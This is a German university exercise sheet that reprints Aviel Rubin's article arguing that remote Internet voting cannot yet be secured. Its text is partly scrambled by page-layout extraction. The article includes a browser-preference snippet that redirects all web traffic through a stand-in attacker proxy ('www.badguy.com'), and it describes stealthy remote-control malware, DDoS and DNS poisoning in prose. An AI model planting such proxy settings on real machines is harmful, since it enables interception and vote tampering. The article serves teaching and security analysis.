Übung 6

Dies Übung gibt Ihnen einen Einblick in die Bereiche ,eGovernment' und ,Security'.

Aufgabe 6.1:

Lesen Sie den beigefügten Artikel ,Security Considerations for Remote Electronic Voting' und erstellen Sie einen Überblick über die in Österreich verfügbaren Services, die dem Bereich ,eGovernment' (nicht nur ,eVoting') zuzuordnen sind.

Termin:

kommende Übungsstunde

SECURITY CONSIDERATIONS FOR REMOTE ELECTRONIC VOTING

Introducing state-of-the art technology into the election process implies new risks that may not be worth taking.

—By Aviel D. Rubin—

The right of individual citizens to vote for their representatives in the U.S. government, as well as for their counterparts in the country's various localities, is at the heart of the democracy enjoyed in the U.S. Historically, great effort and care has been taken to ensure that elections are conducted in a fair manner such that the candidate who should win an election based on the vote count actually wins. Equally important is the continued strength of the public's confidence in the election process. In the past, changes to the process proceeded deliberately and judiciously, often involving lengthy debates over even the most arcane details. These changes are approached with such care because any discrepancy in the election system threatens the principles making U.S. society free and which, in turn, affects every aspect of the way its people live.

There is a prevailing sentiment today that any organization not jumping on the technology bandwagon will soon be obsolete. So, despite the nation's natural inclination to treat its election process as precious, delicate, and fragile, the question of how to adapt technology to improve elections for public officials is inevitable. The closely contested 2000 presidential election and related controversy prompted by the ballot problem in Florida generated demand for using computers that much more in public elections.

Several efforts at electronic voting in the U.S. have taken place over the past several years, and trials in Europe are currently taking place. For example, in 2000, the Alaska Republican Presidential preference poll, the Arizona Democratic Presidential primary, and the National Reform Party primary all implemented remote electronic voting.

ILLUSTRATION BY ROBERT NEUBECKER

The Federal Voting Assistance Program was instituted to allow U.S. citizens who happen to be overseas during an election to vote electronically. The movement is apparently toward more and more remote electronic voting. But is it secure? And can it ever be truly secure? The fact that none of these experiments has resulted in a serious breach of security is no argument that these systems are not vulnerable.

The feasibility of remote electronic voting in public elections was studied by the National Science Foundation in 2000 [4]. Other studies have included one by a group from Caltech and MIT [1], one from the Democracy Online Project [2], and one from the National Commission on Federal Election Reform [3]. Remote electronic voting refers to an election process whereby people can choose to cast their votes over the Internet, most likely through a Web browser, from home, or possibly any other location where they have Internet access. While many aspects of elections raise issues about this type

long lists of exploits affecting hosts. On the most popular platforms, once a malicious payload reaches a host, there is practically no limit to the damage it can do. With today's hardware and software architectures, a malicious payload on a voting host can actually change a voter's vote without the voter or anyone else noticing, regardless of the encryption or voter authentication in place. This is because the malicious code can do its damage before the encryption and authentication is applied to the data. The malicious module can then erase itself, so no evidence of fraud is left behind to correct or even to detect. Such code may run in stealth mode, meaning it was designed to be especially difficult to detect. Such programs do not appear in the Task Menu of running processes; even an experienced administrator would have difficulty discovering its presence on a computer. A stealth program is difficult to detect even while it is running.

Back Orifice 2000 (BO2K) is software packaged

IN SOME CLOSE CAMPAIGNS, EVEN AN UNTARGETED ATTACK THAT CHANGES THE

of voting, including vote coercion, vote selling, vote solicitation, and voter registration, here, I focus on security.

Voting Platform

This type of remote electronic voting involves regular Internet users with personal computers and standard operating systems and software. For the sake of this discussion, but without loss of generality, I focus on Intel machines running Microsoft operating systems with Microsoft or Netscape browsers and voters participating from home and communicating over a TCP/IP network attached to the Internet. While this scenario is a simplification, it is representative of the vast majority of users under consideration. The voting platform is referred to simply as a host.

Threats to hosts can be categorized as either malicious payload or delivery mechanism. Each has advanced in sophistication and automation in recent years. The attacks are more sophisticated in the sense they can do more damage, are more likely to succeed, and disguise themselves better than before. They are more automated in that more and more toolkits have been developed to enable unsophisticated computer users to launch them.

Malicious payload. Literally hundreds of attack programs can be discussed. One need only visit the Web sites of the security software vendors to see the

and distributed as a legitimate network administration toolkit. It is very useful as a way to enhance security and is freely available, fully open source, extensible, and stealthy (see www.bo2k.de). Moreover, it contains a remote control server that, when installed on a machine, enables a remote administrator (or attacker) to view and control every aspect of that machine as though the person were sitting at the console. This is similar in functionality to a commercial product called PCAnywhere; the main differences are that BO2K is available in full source code form and runs in stealth mode.

BO2K's open source nature means an attacker can modify the code and recompile such that the program evades detection by security defense software (virus and intrusion detection looking for known signatures of programs). A signature is a pattern identifying a particular known malicious program. The current state of the art in widely deployed systems for detecting malicious code does not go much beyond comparing a program against a list of attack signatures. Most home personal computers lack any detection software.

There can be no expectation that average Internet users participating in online elections from home have any hope of detecting BO2K on their computers. At the same time, the program enables an attacker to view every aspect of the voting procedure, intercept any action performed by the legitimate

user with the potential of modifying it without the user's knowledge, and further install any other program of the attacker's desire—even those written by the attacker—on the voter's machine. The package also monitors every keystroke typed on the machine and has an option for remotely locking the keyboard and mouse. It is difficult, likely impossible, to conceive of an application that could prevent an attacker installing BO2K on a user's machine from being able to view and/or change a user's vote.

It does not take a very sophisticated malicious payload to disrupt an election. A simple attack illustrates the ease of thwarting a Web application, including voting. Netscape Navigator and Internet Explorer, the two most popular browsers, each includes a setting that allows all Web communication to take place via proxy. This setting has the ability to completely control all Internet traffic between the user's machine and a Web application. Proxies are useful for many Internet applications and for

Delivery mechanism. Physical installation is the first, and most obvious, mechanism attackers might use to install code of their choosing on a legitimate voter's computer. Few people keep their computers in a carefully controlled, locked environment. Imagine someone developing an application, such as the two described here, to attack the voting system, preparing a floppy disk with the code on it, then installing it on as many machines as possible. This could be accomplished by breaking into houses, accessing machines in houses when visiting for social purposes, installing the program on public machines in libraries, and more. The effect is that many people can obtain physical access to other people's computers in the run-up to an election. Malicious code can be delivered that triggers particular actions at a later date, enables future access (as in the case of BO2K), or disrupts normal operation at a particular time. Considering that many of the attack programs we see these days run in stealth mode, malicious

VOTE BY EVEN A SINGLE PERCENTAGE POINT COULD SWAY THE ELECTION.

sites running certain kinds of firewalls. The user sets a proxy by making a change in the browser's preferences menu. The browser then adds a couple of lines to a configuration file; for example, in Netscape, the existence of

```
user_pref("network.proxy.http",  
"www.badguy.com");  
user_pref("network.proxy.http_port",  
1799);
```

in the file

```
c:\program_files\netscape\prefs.js
```

delivers all Web content to and from the user's machine to a program listening on port 1799 on the machine `www.badguy.com`. This attack is easily scalable to large numbers of hosts.

An attacker adding these lines (substituting his or her hostname for `www.badguy.com`) to the preferences file on someone's machine can control every aspect of the Web experience for that person. There are also ways of stealing control without leaving a trail leading directly to the attacker. While proxies cannot be used to read information in a secure connection, they can be used to spoof a user into a secure connection with the attacker, instead of the actual voting server, without the user realizing it.

code can be installed such that average computer users cannot detect their presence.

While the physical delivery of malicious code is a serious problem, it is not nearly as effective as remote automated delivery. Consider the highly publicized Code Red and Nimda Worms; many such attacks happen all the time. Typically, they cause temporary disruption in service and perform some annoying action. In most cases, the attacks spread wider and faster than even their creators imagined. One thing they all share is the ability to install some code on the computers being infected. Many users think they must open an attachment to activate them; in fact, a virus called Bubbleboy triggers as soon as a message is previewed in the Outlook mailer, requiring no action on the part of the user. Any email-borne virus can deliver the attack code described earlier.

It is naive to think we have seen the worst of the Internet viruses, worms, and bugs. The incidents of new attacks have grown much faster than our ability to cope with them, a trend likely to continue.

Email viruses are not the only way malicious code is delivered to hosts. The computers in most people's homes run operating systems with millions of lines of code and are known to be full of operational bugs, as well as security flaws. On top of these platforms, users typically run applications with security problems that can be exploited remotely to install malicious code on themselves. The most common

example is called buffer overflow, which occurs when a process assigns more data to a memory location than was expected by the programmer. The consequence is that the attacker can manipulate the computer's memory to cause the running of arbitrary malicious code. Although there are ways to check for and prevent buffer overflows in a program, they represent the most common form of security flaw in systems deployed today.

Perhaps the most likely candidate for delivering a widespread attack against an election is an ActiveX control, downloaded automatically and unknowingly from a Web server, that installs a Trojan horse (hidden program) that later interferes with voting. Several documented attacks against Windows systems have operated this way. Any application users are lured into downloading can do the same, including browser plug-ins, screen savers, calendars, and any other program obtained through the Internet. Another danger is the application itself may be clean, but the installer might have installed a dynamically linked library or other malicious module, or overwrote operating system modules. Most users are not aware of these dangers when adding software to their computers. As long as people download and install software through the Internet onto personal computers running today's most popular operating systems, attackers can easily deliver code that risks changing their votes.

Users opening attachments and downloading software from the network are not the only ones putting their votes at risk. AOL, for instance, is in position to control a large percentage of the total votes, because all of its users run its proprietary software. Microsoft is in an even stronger position to control votes. There are dozens of software vendors whose products run on large numbers of home machines; for example, millions of personal computers run Adobe Acrobat, RealPlayer, WinZip, Solitaire, and lots more. Vendors are therefore in position to modify any configuration file and install any malicious code on their customers' machines, as are the computers' manufacturers. Even if an organization is not interested in subverting an election, all it takes is one rogue programmer on staff. Most software packages require an installation procedure in which the system registry is modified, libraries are installed, and the computer must reboot. During any stage of the process, the installation program has complete control of all the software on the machine.

In public elections throughout the U.S., polling sites undergo careful scrutiny. Any change to the process is carefully audited, and on election day, representatives from all major parties are present to

ensure that the integrity of the process is maintained. This routine is in sharp contrast to holding an election allowing people to cast their votes from computers full of insecure software under the direct control of dozens of software and hardware vendors, run by users downloading programs from the Internet over a network known to be vulnerable to total shutdown at any moment.

Communications Infrastructure

A network connection consists of two endpoints and the communication between them. One of the endpoints, the user's host, was covered earlier. The other endpoint is the election server. While in no way trivial, the technology exists to provide reasonable protection on servers.

Concerning communication between the two

THE TECHNOLOGY DOES NOT EXIST TO ENAB

endpoints, cryptography can be used to protect the communication between a user's browser and an election server. The technology is mature and can be relied on to ensure the integrity and confidentiality of network traffic. Here, I do not deal with the classic security properties of the communications infrastructure but the availability of the Internet service, as required by remote electronic voting over the Internet.

Recall the massive February 2000 distributed denial-of-service (DDOS) attack that brought down many of the main portals on the Internet [5]. That attack was nothing compared to what a dedicated and determined adversary could do. It consisted of the installation and execution of publicly available attack scripts; little skill was required. My colleagues at AT&T Research and I experimented in the lab with a well-known DDOS program called Tribe Flood Network (TFN), finding the attack to be so potent that even one daemon attacking a Unix workstation disables it to the point where it has to be rebooted. The target computer was so overwhelmed we could not even move the cursor.

Some hacker tools, easily located by anyone with access to the Web, automate the process of mounting DDOS attacks. The growing number of people attacking systems with such tools are known as script kiddies. In an election, the adversary is more likely to be someone at least as knowledgeable as the writers of a script kiddie tool and possibly with the resources of a foreign government.

Many other ways are available to target machines, rendering them unusable; it is not too difficult to target a particular set of users, given domain name information easily obtained from such online registries as Register.com and Network Solutions or directly from the WHOIS database. The list of examples of attacks goes on and on. A simple one is the ping of death, in which a packet is constructed and split into two fragments; when the target computer reassembles the fragments, the result is a message too big for the operating system to handle, crashing the machine. Such an attack has been demonstrated in the lab, as well as in the wild, and script kiddie tools exist to launch it.

The danger to Internet voting is that during an election, communication on the Internet can stop as attackers cause routers to crash, election servers to be

that their browsers are communicating with a valid election server. The SSL protocol and server-side certificates can be used for this. Even if we assume the process is flawless, despite its risks and pitfalls, it is still unreasonable to assume that average Internet users who want to vote on their computers will understand the concept of a server certificate, verify its authenticity, and check the active ciphersuites to ensure strong encryption is being used. Most users would probably not distinguish between a page from an SSL connection to the legitimate server and a non-SSL page from a malicious server with the exact same look as the real page.

Attackers could spoof legitimate voting sites in several ways. One is to send email to users telling them to click on a link, which would then bring up a fake voting site. The adversary could then collect

B THE REMOTE ELECTRONIC VOTING IN PUBLIC ELECTIONS.

flooded by DDOS, or a large set of hosts, possibly targeted by way of voter demographics, cease to function. In some close campaigns, even an untargeted attack that changes the vote by even a single percentage point can sway the election.

Social Engineering

Social engineering is the term used to describe attacks that involve fooling people into unwittingly compromising their own security [5]. Talking with election officials, one discovers that an issue they grapple with is the inability of many people to follow simple directions. For example, it is surprising to learn that when instructed to circle a candidate's name, many people underline it. While computers would seem to offer the opportunity to establish an interface that is tightly controlled and thus less subject to error, this is counter the typical user's experience with computers. For anyone but a computer scientist, computers can be intimidating and unfamiliar. And user interfaces are often poorly designed and create confusion, rather than simplifying processes.

A remote voting scheme must have some kind of interface. Designing that interface is not the subject here, but an interface is clearly needed. For the system to be secure, there must be a way for voters to know they are communicating with the legitimate election server. The infrastructure exists today for computer security specialists (suspicious as they might be communicating with imposters) to verify

the users' credentials and in a sense, steal their votes. An attacker could also set up a connection to the legitimate server and feed users a fake Web page, then act as middleman, transferring information between users and the Web server, with all traffic under the attacker's control. This is probably enough to change a user's vote, regardless of how the application is implemented.

A more serious attack involves targeting the Internet's Domain Name Service (DNS). The DNS is known to be vulnerable to such attacks as cache poisoning, which changes the information available to hosts about computers' IP addresses. The reason the risk of changing such information is so serious is that a DNS cache poisoning attack, along with many other known attacks against DNS, could be used to direct a user to the wrong Web server when typing the name of the election server in the browser. Thus, a user could follow the instructions for voting and receive a page that looks exactly like what it is supposed to look like, but the page is actually under the control of the adversary. Detailed instructions about checking certificate validity are not likely to be understood or followed by most users.

Another problem along these lines is that any computer under an adversary's control can be made to simulate a valid connection to an election server, without actually connecting to anything. So, for example, a malicious librarian or cyber café operator could set up public computers appearing to accept votes but actually doing nothing with them. This

scheme could even work if the computers were not connected to the Internet, since messages need not be sent or received to fool users into believing their votes were cast. Setting up such machines in districts known to vote a certain way could influence the outcome of an election.

Specialized Devices

One potential enabler at our disposal is tamper-resistant devices, including smart cards. Cryptographic keys can be generated and stored on these devices; they can also perform computations, such that proper credentials are exchanged between a voting host and a voting server. However, there are some limitations to the utility of such devices. The most important is the lack of a deployed base of smart card readers on people's personal computers. Any system involving financial investment on the part of individuals in order to vote is unacceptable. Some people are more limited in their ability to spend money, and it is unfair to decrease the likelihood that they would vote. It would, in effect, be a poll tax. This issue is often referred to as the digital divide.

Even if everyone had smart card readers on their computers, there are still other security concerns. A smart card does not interact directly with an election server. The communication goes through the computer. Malicious code installed on the computer could misuse the smart card. At the very least, the code could prevent the vote from actually being cast—while fooling the user into believing it was. At worst, it could even change the vote.

Other specialized devices, such as cell phones lacking general-purpose processors, equipped with smart cards, offer more promise for solving technical security problems. However, they introduce even greater digital-divide issues. Moreover, the user-interface issues, which are fundamental to a fair election, are even more difficult due to the more limited displays and input devices. Finally, while computers offer some hope for improving the accessibility of voting by the disabled, specialized devices are even more limiting in that respect.

Conclusion

Although fraud exists in the offline election system, it is tolerated to some degree because there is no alternative. The system is localized so it is highly unlikely that a successful fraud could propagate beyond a particular district. Public perception is that the system works, though a few kinks may persist. There is no doubt the introduction of something like remote electronic voting will, and should, come

under careful scrutiny, and the system may be held to a higher standard. Given the current state of widely deployed computers in people's homes, the vulnerability of the Internet to DDOS attacks, and the unreliability of the DNS, the technology does not exist to enable remote electronic voting in public elections.

There is a critical difference between public elections and private elections. Private elections, such as those involving stock proxies and boards of directors within companies, are usually of interest only to a particular group of people. The threat faced by these organizations is typically well understood and relatively limited. Moreover, the consequences of a successful attack are also typically limited. In contrast, public elections are the cornerstone of American democracy, and well-financed groups have powerful incentives to disrupt them.

One reason remote electronic voting represents such a security challenge is that any successful attack would be highly visible, a factor motivating much of the related hacking activity to date. Even more threatening is that the most serious attacks would come from people motivated by the desire to change an election's outcome without being noticed. The adversaries to an election system are not teenagers in garages but foreign governments and powerful interests at home and abroad. The stakes have never been greater. **G**

REFERENCES

1. Caltech-MIT Voting Technology Project. *Voting: What Is; What Could Be* (July 2001).
2. Democracy Online Project. *Voting in the Information Age: The Debate Over Technology* (Jan. 2001).
3. National Commission on Federal Election Reform. *To Assure Pride and Confidence in the Electoral Process* (Aug. 2001).
4. National Science Foundation. *Report on the National Workshop on Internet Voting* (Mar. 2001).
5. Rubin, A. *White-Hat Security Arsenal*. Addison-Wesley, Boston, 2001.

AVIEL D. RUBIN (avi@rubin.net) is a principal researcher at AT&T Labs, Florham, NJ.

Permission to make digital or hard copies of all or part of this work for personal or classroom use is granted without fee provided that copies are not made or distributed for profit or commercial advantage and that copies bear this notice and the full citation on the first page. To copy otherwise, to republish, to post on servers or to redistribute to lists, requires prior specific permission and/or a fee.